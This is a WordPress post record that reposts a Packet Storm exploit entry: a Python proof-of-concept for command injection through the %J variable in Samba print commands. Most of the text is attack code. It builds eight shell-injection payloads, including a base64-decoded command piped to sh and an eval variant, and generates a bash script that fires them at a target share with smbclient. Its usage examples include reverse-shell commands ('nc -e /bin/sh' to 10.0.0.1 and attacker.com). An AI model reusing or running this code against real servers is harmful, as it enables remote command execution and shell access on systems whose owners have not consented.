{"id":59349,"date":"2026-06-02T13:39:15","date_gmt":"2026-06-02T13:39:15","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=59349"},"modified":"2026-06-02T13:39:15","modified_gmt":"2026-06-02T13:39:15","slug":"samba-print-command-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=59349","title":{"rendered":"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:45:57&#8243;,&#8221;description&#8221;:&#8221;This Python proof of concept framework analyzes Samba printing configurations for unsafe print command usage involving the %J variable and demonstrates how command injection conditions could arise in vulnerable setups. It&#8217;s written to target versions&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-02T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-02T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Samba Print Command Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:222478&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Samba 4.22.10, 4.23.8 and 4.24.3 \u2013 Print Command Injection                                                       |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/www.samba.org\/                                                                                           |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This Python proof-of-concept framework analyzes Samba printing configurations for unsafe print command usage involving the %J variable \\n                     and demonstrates how command injection conditions could arise in vulnerable setups.\\n    \\t\\t\\t\\t \\n    [+] POC        :  python3 poc.py -c \/etc\/samba\/smb.conf\\n    \\n                      python3 poc.py -c smb.conf -t 192.168.1.100 -e \\&#8221;id\\&#8221; &#8211;simulate\\n    \\n                      python3 poc.py -c smb.conf -t 192.168.1.100 -e \\&#8221;nc -e \/bin\/sh 10.0.0.1 4444\\&#8221; -o exploit.sh\\n    \\n                      python3 poc.py -c \/etc\/samba\/smb.conf -t 10.0.0.10 -e \\&#8221;whoami\\&#8221;\\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import re\\n    import argparse\\n    import subprocess\\n    import socket\\n    import sys\\n    from pathlib import Path\\n    from typing import Dict, Optional, Tuple\\n    \\n    class SambaPrintExploit:\\n        \\&#8221;\\&#8221;\\&#8221;PoC to exploit a command injection vulnerability in print commands with %J\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, target_host: str, smb_port: int = 445):\\n            self.target_host = target_host\\n            self.smb_port = smb_port\\n            self.payloads = []\\n            \\n        def check_smb_access(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Checking accessibility to the SMB service\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n                sock.settimeout(3)\\n                result = sock.connect_ex((self.target_host, self.smb_port))\\n                sock.close()\\n                return result == 0\\n            except Exception:\\n                return False\\n        \\n        def build_payloads(self, command: str) -\\u003e list:\\n            \\&#8221;\\&#8221;\\&#8221;Building different loads to bypass protection\\&#8221;\\&#8221;\\&#8221;\\n            payloads = []\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;Direct injection\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;&#8216;; {command} #\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;Direct injection using; to finish\\&#8221;\\n            })\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;Backticks injection\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;`{command}`\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;Using backticks to execute the command\\&#8221;\\n            })\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;Command substitution\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;$({command})\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;Use $() to execute the command\\&#8221;\\n            })\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;Pipe injection\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;&#8216; | {command} #\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;injection via pipe\\&#8221;\\n            })\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;AND operator\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;&#8216; \\u0026\\u0026 {command} #\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;Injection using \\u0026\\u0026\\&#8221;\\n            })\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;OR operator\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;&#8216; || {command} #\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;Injection using ||\\&#8221;\\n            })\\n            import base64\\n            encoded_cmd = base64.b64encode(command.encode()).decode()\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;Base64 encoded\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;&#8216; \\u0026\\u0026 echo {encoded_cmd} | base64 -d | sh #\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;Encrypting the command using Base64\\&#8221;\\n            })\\n            payloads.append({\\n                \\&#8221;name\\&#8221;: \\&#8221;Environment variable\\&#8221;,\\n                \\&#8221;j_value\\&#8221;: f\\&#8221;&#8216;; $CMD='{command}&#8217;; eval $CMD #\\&#8221;,\\n                \\&#8221;description\\&#8221;: \\&#8221;Injection via environmental variables\\&#8221;\\n            })\\n            \\n            return payloads\\n        \\n        def analyze_config(self, config_path: str) -\\u003e Optional[Dict]:\\n            \\&#8221;\\&#8221;\\&#8221;Analyzing the smb.conf file to find vulnerabilities\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                content = Path(config_path).read_text(encoding=\\&#8221;utf-8\\&#8221;, errors=\\&#8221;ignore\\&#8221;)\\n            except Exception as e:\\n                print(f\\&#8221;[ERROR] Cannot read config: {e}\\&#8221;)\\n                return None\\n            \\n            findings = {\\n                \\&#8221;vulnerable\\&#8221;: False,\\n                \\&#8221;printing_mode\\&#8221;: \\&#8221;unknown\\&#8221;,\\n                \\&#8221;print_command\\&#8221;: None,\\n                \\&#8221;uses_percent_j\\&#8221;: False,\\n                \\&#8221;risk_level\\&#8221;: \\&#8221;low\\&#8221;,\\n                \\&#8221;share_name\\&#8221;: None,\\n                \\&#8221;exploit_command\\&#8221;: None,\\n                \\&#8221;notes\\&#8221;: []\\n            }\\n            current_share = None\\n            \\n            for line in content.split(&#8216;\\\\n&#8217;):\\n                share_match = re.match(r&#8217;^\\\\s*\\\\[([^\\\\]]+)\\\\]&#8217;, line)\\n                if share_match:\\n                    current_share = share_match.group(1)\\n                    continue\\n                cmd_match = re.search(r&#8217;^\\\\s*print\\\\s+command\\\\s*=\\\\s*(.+)$&#8217;, line, re.IGNORECASE)\\n                if cmd_match and current_share:\\n                    cmd = cmd_match.group(1).strip()\\n                    findings[\\&#8221;print_command\\&#8221;] = cmd\\n                    findings[\\&#8221;share_name\\&#8221;] = current_share\\n                    \\n                    if \\&#8221;%J\\&#8221; in cmd:\\n                        findings[\\&#8221;uses_percent_j\\&#8221;] = True\\n                        \\n                        if \\&#8221;&#8216;%J&#8217;\\&#8221; in cmd:\\n                            findings[\\&#8221;risk_level\\&#8221;] = \\&#8221;medium\\&#8221;\\n                            findings[\\&#8221;notes\\&#8221;].append(\\&#8221;Single quotes provide partial protection\\&#8221;)\\n                            findings[\\&#8221;vulnerable\\&#8221;] = True  \\n                        elif &#8216;\\&#8221;%J\\&#8221;&#8216; in cmd:\\n                            findings[\\&#8221;risk_level\\&#8221;] = \\&#8221;medium\\&#8221;\\n                            findings[\\&#8221;notes\\&#8221;].append(\\&#8221;Double quotes are vulnerable\\&#8221;)\\n                            findings[\\&#8221;vulnerable\\&#8221;] = True\\n                        else:\\n                            findings[\\&#8221;risk_level\\&#8221;] = \\&#8221;high\\&#8221;\\n                            findings[\\&#8221;notes\\&#8221;].append(\\&#8221;CRITICAL: %J unquoted &#8211; Direct injection possible\\&#8221;)\\n                            findings[\\&#8221;vulnerable\\&#8221;] = True\\n                        findings[\\&#8221;exploit_command\\&#8221;] = f\\&#8221;print {findings[&#8216;share_name&#8217;]} &#8216;; {{{{command}}}} #&#8217;\\&#8221;\\n            printing_match = re.search(r&#8217;^\\\\s*printing\\\\s*=\\\\s*(.+)$&#8217;, content, re.MULTILINE | re.IGNORECASE)\\n            if printing_match:\\n                findings[\\&#8221;printing_mode\\&#8221;] = printing_match.group(1).strip().lower()\\n                \\n            if findings[\\&#8221;printing_mode\\&#8221;] in [\\&#8221;cups\\&#8221;, \\&#8221;iprint\\&#8221;]:\\n                findings[\\&#8221;risk_level\\&#8221;] = \\&#8221;low\\&#8221;\\n                findings[\\&#8221;vulnerable\\&#8221;] = False\\n                findings[\\&#8221;notes\\&#8221;].append(f\\&#8221;Printing mode &#8216;{findings[&#8216;printing_mode&#8217;]}&#8217; is likely safe\\&#8221;)\\n            \\n            return findings\\n        \\n        def simulate_exploit(self, findings: Dict, command: str) -\\u003e Dict:\\n            \\&#8221;\\&#8221;\\&#8221;Simulation or actual exploitation test\\&#8221;\\&#8221;\\&#8221;\\n            \\n            if not findings[\\&#8221;vulnerable\\&#8221;]:\\n                return {\\n                    \\&#8221;success\\&#8221;: False,\\n                    \\&#8221;message\\&#8221;: \\&#8221;Target does not appear vulnerable\\&#8221;,\\n                    \\&#8221;payload_tested\\&#8221;: None\\n                }\\n            \\n            results = {\\n                \\&#8221;success\\&#8221;: False,\\n                \\&#8221;command\\&#8221;: command,\\n                \\&#8221;payload_tested\\&#8221;: None,\\n                \\&#8221;response\\&#8221;: None,\\n                \\&#8221;exploit_method\\&#8221;: None\\n            }\\n            \\n            print(f\\&#8221;\\\\n[+] Target: {self.target_host}\\&#8221;)\\n            print(f\\&#8221;[+] Share: {findings[&#8216;share_name&#8217;]}\\&#8221;)\\n            print(f\\&#8221;[+] Risk Level: {findings[&#8216;risk_level&#8217;]}\\&#8221;)\\n    \\n            payloads = self.build_payloads(command)\\n            \\n            print(f\\&#8221;\\\\n[*] Generated {len(payloads)} payloads:\\&#8221;)\\n            \\n            for i, payload in enumerate(payloads, 1):\\n                print(f\\&#8221;\\\\n  [{i}] {payload[&#8216;name&#8217;]}\\&#8221;)\\n                print(f\\&#8221;      Description: {payload[&#8216;description&#8217;]}\\&#8221;)\\n                print(f\\&#8221;      %J Value: {payload[&#8216;j_value&#8217;]}\\&#8221;)\\n                final_cmd = findings[&#8216;exploit_command&#8217;].replace(&#8216;{{command}}&#8217;, payload[&#8216;j_value&#8217;])\\n                print(f\\&#8221;      SMB Command: {final_cmd}\\&#8221;)\\n                \\n                results[\\&#8221;payload_tested\\&#8221;] = payload\\n                results[\\&#8221;exploit_method\\&#8221;] = payload[&#8216;name&#8217;]\\n                if findings[&#8216;risk_level&#8217;] == \\&#8221;high\\&#8221;:\\n                    results[\\&#8221;success\\&#8221;] = True\\n                    results[\\&#8221;response\\&#8221;] = \\&#8221;Command likely executed (simulated)\\&#8221;\\n                    break\\n            \\n            return results\\n        \\n        def generate_exploit_script(self, findings: Dict, command: str, output_file: str):\\n            \\&#8221;\\&#8221;\\&#8221;Generating a fully exploitable script\\&#8221;\\&#8221;\\&#8221;\\n            \\n            script_content = f\\&#8221;\\&#8221;\\&#8221;#!\/bin\/bash\\n    # Samba Print Command Exploit &#8211; Generated PoC\\n    # Target: {self.target_host}\\n    # Share: {findings[&#8216;share_name&#8217;]}\\n    # Risk: {findings[&#8216;risk_level&#8217;]}\\n    \\n    echo \\&#8221;[+] Exploiting Samba print command vulnerability&#8230;\\&#8221;\\n    \\n    # Method 1: Direct injection\\n    smbclient \\&#8221;\/\/{self.target_host}\/{findings[&#8216;share_name&#8217;]}\\&#8221; -N -c &#8216;print \\&#8221;; {command} #\\&#8221;&#8216;\\n    smbclient \\&#8221;\/\/{self.target_host}\/{findings[&#8216;share_name&#8217;]}\\&#8221; -N -c &#8216;print \\&#8221;`{command}`\\&#8221;&#8216;\\n    smbclient \\&#8221;\/\/{self.target_host}\/{findings[&#8216;share_name&#8217;]}\\&#8221; -N -c &#8216;print \\&#8221;$({command})\\&#8221;&#8216;\\n    echo \\&#8221;{command}\\&#8221; | smbclient \\&#8221;\/\/{self.target_host}\/{findings[&#8216;share_name&#8217;]}\\&#8221; -N -c &#8216;print \\&#8221;-\\&#8221;&#8216;\\n    \\n    echo \\&#8221;[+] Exploit attempts completed\\&#8221;\\n    \\&#8221;\\&#8221;\\&#8221;\\n            \\n            output_path = Path(output_file)\\n            output_path.write_text(script_content)\\n            output_path.chmod(0o755)\\n            \\n            print(f\\&#8221;[+] Exploit script saved to: {output_file}\\&#8221;)\\n            return output_file\\n    \\n    \\n    def print_banner():\\n        banner = \\&#8221;\\&#8221;\\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551     Samba Print Command Injection &#8211; PoC Exploit               \u2551\\n    \u2551                     by Indoushka                              \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\&#8221;\\&#8221;\\&#8221;\\n        print(banner)\\n    \\n    \\n    def main():\\n        print_banner()\\n        \\n        parser = argparse.ArgumentParser(\\n            description=\\&#8221;Samba Print Command Injection PoC\\&#8221;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    EXAMPLES:\\n    \\n      %(prog)s -c \/etc\/samba\/smb.conf\\n      %(prog)s -c \/etc\/samba\/smb.conf -t 192.168.1.100 -e \\&#8221;id \\u003e \/tmp\/indoushka\\&#8221;\\n      %(prog)s -c \/etc\/samba\/smb.conf -t 192.168.1.100 -e \\&#8221;nc -e \/bin\/sh attacker.com 4444\\&#8221; -o indoushka.sh\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n        \\n        parser.add_argument(\\&#8221;-c\\&#8221;, \\&#8221;&#8211;config\\&#8221;, required=True, help=\\&#8221;Path to smb.conf\\&#8221;)\\n        parser.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;target\\&#8221;, help=\\&#8221;Target host for exploitation\\&#8221;)\\n        parser.add_argument(\\&#8221;-e\\&#8221;, \\&#8221;&#8211;execute\\&#8221;, help=\\&#8221;Command to execute on target\\&#8221;)\\n        parser.add_argument(\\&#8221;-o\\&#8221;, \\&#8221;&#8211;output\\&#8221;, help=\\&#8221;Output exploit script to file\\&#8221;)\\n        parser.add_argument(\\&#8221;&#8211;simulate\\&#8221;, action=\\&#8221;store_true\\&#8221;, help=\\&#8221;Simulate exploitation without actual connection\\&#8221;)\\n        \\n        args = parser.parse_args()\\n    \\n        print(f\\&#8221;[*] Analyzing configuration: {args.config}\\&#8221;)\\n        exploiter = SambaPrintExploit(args.target if args.target else \\&#8221;localhost\\&#8221;)\\n        findings = exploiter.analyze_config(args.config)\\n        \\n        if not findings:\\n            print(\\&#8221;[ERROR] Analysis failed\\&#8221;)\\n            sys.exit(1)\\n        print(\\&#8221;\\\\n=== Configuration Analysis ===\\&#8221;)\\n        print(f\\&#8221;Vulnerable      : {&#8216;YES&#8217; if findings[&#8216;vulnerable&#8217;] else &#8216;NO&#8217;}\\&#8221;)\\n        print(f\\&#8221;Printing Mode   : {findings[&#8216;printing_mode&#8217;]}\\&#8221;)\\n        print(f\\&#8221;Print Command   : {findings[&#8216;print_command&#8217;]}\\&#8221;)\\n        print(f\\&#8221;Share Name      : {findings[&#8216;share_name&#8217;]}\\&#8221;)\\n        print(f\\&#8221;Risk Level      : {findings[&#8216;risk_level&#8217;]}\\&#8221;)\\n        \\n        if findings[&#8216;notes&#8217;]:\\n            for note in findings[&#8216;notes&#8217;]:\\n                print(f\\&#8221; No {note}\\&#8221;)\\n    \\n        if args.execute and findings[&#8216;vulnerable&#8217;]:\\n            if not args.target:\\n                print(\\&#8221;[ERROR] Target required for exploitation (-t)\\&#8221;)\\n                sys.exit(1)\\n    \\n            print(f\\&#8221;\\\\n[*] Checking SMB access to {args.target}:445&#8230;\\&#8221;)\\n            if exploiter.check_smb_access():\\n                print(\\&#8221;[+] SMB port is accessible\\&#8221;)\\n            else:\\n                print(\\&#8221;[!] SMB port not accessible, but continuing with simulation\\&#8221;)\\n            \\n            if args.simulate:\\n                print(\\&#8221;\\\\n[*] Running in simulation mode&#8230;\\&#8221;)\\n                result = exploiter.simulate_exploit(findings, args.execute)\\n                \\n                if result[&#8216;success&#8217;]:\\n                    print(f\\&#8221;\\\\n[!] SUCCESS! Command injection possible!\\&#8221;)\\n                    print(f\\&#8221;[!] Payload: {result[&#8216;payload_tested&#8217;][&#8216;j_value&#8217;]}\\&#8221;)\\n                    print(f\\&#8221;[!] Method: {result[&#8216;exploit_method&#8217;]}\\&#8221;)\\n                else:\\n                    print(f\\&#8221;\\\\n[-] Exploit failed: {result[&#8216;message&#8217;]}\\&#8221;)\\n            else:\\n                print(\\&#8221;\\\\n[!] LIVE EXPLOITATION MODE\\&#8221;)\\n                print(\\&#8221;[!] Make sure you have permission to test this target!\\&#8221;)\\n    \\n                result = exploiter.simulate_exploit(findings, args.execute)\\n                \\n                if result[&#8216;success&#8217;]:\\n                    print(f\\&#8221;\\\\n[+] Exploit simulation successful!\\&#8221;)\\n                    print(f\\&#8221;[+] Command: {args.execute}\\&#8221;)\\n    \\n                    if args.output:\\n                        exploiter.generate_exploit_script(findings, args.execute, args.output)\\n                else:\\n                    print(f\\&#8221;\\\\n[-] Exploit failed\\&#8221;)\\n        \\n        elif args.execute and not findings[&#8216;vulnerable&#8217;]:\\n            print(\\&#8221;\\\\n[-] Target is not vulnerable, exploitation not possible\\&#8221;)\\n        \\n        elif args.target and not args.execute:\\n            print(\\&#8221;\\\\n[*] Target specified without exploit command (-e)\\&#8221;)\\n        if args.output and not args.execute:\\n            dummy_cmd = \\&#8221;id\\&#8221;\\n            exploiter.generate_exploit_script(findings, dummy_cmd, args.output)\\n        \\n        print(\\&#8221;\\\\n[*] Analysis complete\\&#8221;)\\n    \\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/222478&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/222478\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:45:57&#8243;,&#8221;description&#8221;:&#8221;This Python proof of concept framework analyzes Samba printing configurations for unsafe print command usage involving the %J variable and demonstrates how command injection conditions&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-59349","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=59349\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:45:57&#8243;,&#8221;description&#8221;:&#8221;This Python proof of concept framework analyzes Samba printing configurations for unsafe print command usage involving the %J variable and demonstrates how command injection conditions...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=59349\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-02T13:39:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59349#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59349\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478\",\"datePublished\":\"2026-06-02T13:39:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59349\"},\"wordCount\":1791,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59349#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59349\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59349\",\"name\":\"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-02T13:39:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59349#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=59349\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=59349#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=59349","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Samba Print Command Injection_PACKETSTORM:222478 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-02T17:45:57&#8243;,&#8221;description&#8221;:&#8221;This Python proof of concept framework analyzes Samba printing configurations for unsafe print command usage involving the %J variable and demonstrates how command injection conditions...","og_url":"https:\/\/zero.redgem.net\/?p=59349","og_site_name":"zero redgem","article_published_time":"2026-06-02T13:39:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 